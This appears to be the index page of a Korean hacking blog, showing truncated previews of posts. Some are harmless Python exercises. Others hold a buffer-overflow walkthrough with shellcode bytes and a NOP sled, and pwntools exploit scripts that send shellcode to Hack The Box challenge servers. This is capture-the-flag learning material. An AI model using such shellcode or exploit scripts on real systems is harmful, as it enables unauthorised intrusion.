본문 바로가기

hacking sorcerer

(373)
우리 모두 홍진호가 되어봅시다 우리 모두 홍진호가 되어봅시다 #입력된 문자를 2-gram 방식으로 출력 #2-gram 방식이란 문자열에서 2개의 연속된 요소를 나눠서 출력하는 방법 text = input() text += '' for i in range(0, len(text)-1): print(text[i]+text[i+1],'\n') ''' import nltk def generate_bigrams(text): tokens = nltk.word_tokenize(text) return nltk.bigrams(tokens) text = input() bigrams = generate_bigrams(text) # Print the generated bigrams for bigram in bigrams: print(bigram) '''
이것만 읽어서는 절대로 이해할 수 없는 버퍼 오버플로우 공격(친절함 없음 주의) \x00\x09\x0a\x20 "\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1" "\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41" \xad\xec\xa 0\x04\x5a\x22\xa2” 0xfffffffff F A9AA AAAE 0xfa9aaaaae Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817 NOPs = "\x90" * 124 Shellcode = "\xd9\xeb\xd9\x74\x24\xf4\xb8\x5d\x41\x80\x61\x5b\x2b\xc9\xb1\x12\x31\x43\x17\x03\x43\x17\x83\xb6\xbd\x62\x94\..
태양계 영어 이름으로 출력 #수성, 금성, 지구, 화성, 목성, 토성, 천왕성, 해왕성 #Mer, Ven, Ear, Mar, Jup, Sat, Ura, Nep #한글 이름 넣으면 그거에 맞는 영어이름 출력 solar = { '수성': 'Mer', '금성': 'Ven', '지구':'Ear', '화성': 'Mar', '목성': 'Jup', '토성': 'Sat', '천왕성': 'Ura', '해왕성': 'Nep' } p = input() print(solar[p])
와이어샤크 정도는 기본적으로 다룰 줄 알아야 해커가 아닐까요?
Hack the box Optimistic 이건 보너스 사진 오우야 disas main 하니까 살벌하네요 흠냐 기본적인 메커니즘은 매우 쉽게 구성되어 있었습니다 제 친구인 인공지능에게 물어보니 아주 친절하게 설명해주는군요 그래서 요로코롬 쨔란 이렇게 하시면 됩니다 어차피 0pts이니 공개합니당 from pwn import * target = './optimistic' elf = context.binary = ELF(target, checksec=False) context.log_level = 'debug' p = remote("178.62.88.144", 30216) #p = process('./optimistic') p.sendlineafter(b":", "y") p.recvuntil(b"Great! Here's a small welcome g..
어려운 해킹을 단박에 잘하는 방법 요로코롬 해주시면 됩니당~
옹야잉 배트맨 해킹 2 from pwn import * p = remote("159.65.17.93", 32640) print(p.recvuntil(">")) p.sendline("1") leak = p.recvline() leak = leak.strip("It was very hard, but Alfred managed to locate him: ") shellcode_addr = int(leak, 16) print(p.recvuntil(">")) p.sendline("2") p.recvuntil("password:") p.sendline("b4tp@$$w0rd!") print(p.recvuntil("commands: ")) shellcode = "" shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x9..
옹야잉 배트맨 해킹